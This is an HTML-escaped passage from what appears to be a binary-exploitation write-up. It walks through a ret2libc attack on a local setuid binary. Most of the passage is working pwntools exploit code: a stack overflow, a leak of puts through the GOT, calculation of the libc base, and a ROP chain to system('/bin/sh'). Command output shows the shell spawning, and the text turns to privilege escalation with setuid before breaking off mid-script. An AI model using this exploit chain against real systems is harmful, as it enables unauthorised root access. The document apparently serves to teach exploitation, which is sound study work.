&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40179b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x404028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401619&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Leaked address printed in a readable format
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Leaked puts@GLIBC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#unpack again
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71910&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;glibc offset: %x&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we could search for &lt;strong&gt;system&lt;/strong&gt; and &lt;strong&gt;/bin/sh&lt;/strong&gt; to spawn a shell:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;system (0x449c0)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep system
  1418: 00000000000449c0    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;/bin/sh (0x181519)
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh
 181519 /bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40179b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x404028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401619&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Leaked address printed in a readable format
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Leaked puts@GLIBC: '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#unpack again
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71910&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_put&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;glibc offset: %x&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;libc_sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x449c0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;libc_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x181519&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;libc_sh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prompt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let check the exploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ python exploit.py
[+] Starting local process './jl_bin': pid 2071
[+] Leaked puts@GLIBC: \x105\xb7\x7f\x00\x00
[*] glibc offset: 7fb73516c000
[*] Switching to interactive mode
id
uid=1000(test) gid=1000(test) groups=1000(test)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The shell works! But we have not escalate privileges… we need to invoke &lt;strong&gt;setuid&lt;/strong&gt; before calling the shell.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep setuid
    25: 00000000000c7500   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;full-exploitation&quot;&gt;&lt;a name=&quot;full_exploitation&quot;&gt;&lt;/a&gt;Full exploitation&lt;/h2&gt;

&lt;p&gt;The final exploit would be:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'./jl_bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'linux'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'amd64'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;136&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x40179b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x404028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401050&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x401619&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pop_rdi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;got_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_put&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plt_main&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# send payload when the programs start
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until break line
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# wait until access denied
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Leaked address printed in a readable format
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leaked_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span 